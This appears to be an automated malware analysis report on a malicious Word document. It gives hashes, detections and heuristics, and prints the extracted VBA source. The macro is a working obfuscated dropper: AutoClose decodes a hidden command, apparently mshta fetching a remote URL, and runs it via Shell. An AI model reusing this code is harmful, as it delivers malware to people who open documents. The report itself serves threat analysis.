Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e15200f16ce6d15b…

MALICIOUS

Office (OOXML)

53.7 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-16
MD5: edcb262923c5d492034f6db5dba88cc5 SHA-1: 49db9d14abe36ce23a24209eb3070038a6714e65 SHA-256: e15200f16ce6d15b4405184bd6fb3889731ba3de306844f76913113e26146cf2
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. The AutoClose macro is designed to execute a shell command, likely to download and run a secondary payload. The ClamAV detection 'Doc.Malware.Emooodldr-6711604-0' further supports its malicious nature. The specific payload and download URL are not directly extractable from the provided script excerpt.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2085 bytes
SHA-256: 8f6806fd6ea54580d5ab561b2e927c0fe2fe0b7c086eb846e630d37ecf98524c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub AutoClose()
  avenues = Array("B", "j", "x", "I", "E", "d", "q", "R", "q", "e", "x", "I", "I", "H", "p", "G", "G", "T", "y", "u", "0", "T", "K", "y", "M", "w", "T", "K", "u", "T", "x", "K", "q", "K", "d", "L", "9", "B", "G", "A", "N", "G", "j", "B", "u", "R", "d", "H", "x", "H", "4", "M", "I", "B", "E", "o", "y", "9", "w", "0")
  crood = damaskeening(avenues)
  
  Application.Run "milord", (crood)
  
End Sub


Private Sub milord(corporalism)
   
   leavelooker = 6162
   twelvemo = True
   
   While twelvemo
     oversecretion = leavelooker + 222
     If oversecretion - leavelooker > 111 Then
       VBA.Shell corporalism, vbNormalFocus - 1
       twelvemo = False
      End If
     
   Wend

End Sub


Public Function initiative(libken, ozokerite)

  hose = 9090
  preallottingator = -1
  For Each proclivousness In ozokerite
    If proclivousness = libken Then
     hose = preallottingator
     Exit For
    End If

    preallottingator = preallottingator + 1
    
  Next

  
  If hose = 9090 Then
    hose = -1
  End If


  initiative = hose + 1
End Function

Private Function damaskeening(avenues)
  bloodier = Array("9", "I", "0", "q", "d", "4", "T", "L", "w", "E", "K", "M", "R", "o", "u", "G", "x", "H", "y", "j", "B", "N", "p", "e", "A")
  becrimed = Array("o", "t", "j", "e", ".", "?", "q", "c", "n", "a", "w", "u", "x", "=", "i", "/", "h", "p", "d", "s", "m", "A", ":", " ", "N")
  
  borrelomycetaceae = vbNullString
  
  For Each exserting In avenues
    shadower = Application.Run("initiative", exserting, bloodier)
    If shadower > -1 And shadower < 8080 Then
    borrelomycetaceae = becrimed(shadower) + borrelomycetaceae
    End If
  Next
  
  damaskeening = StrReverse(borrelomycetaceae)
  
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: 170a93782fc315f0a5f2cb24fe6c3c93d2198123e9dd18e0906bc3402bef83e5
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely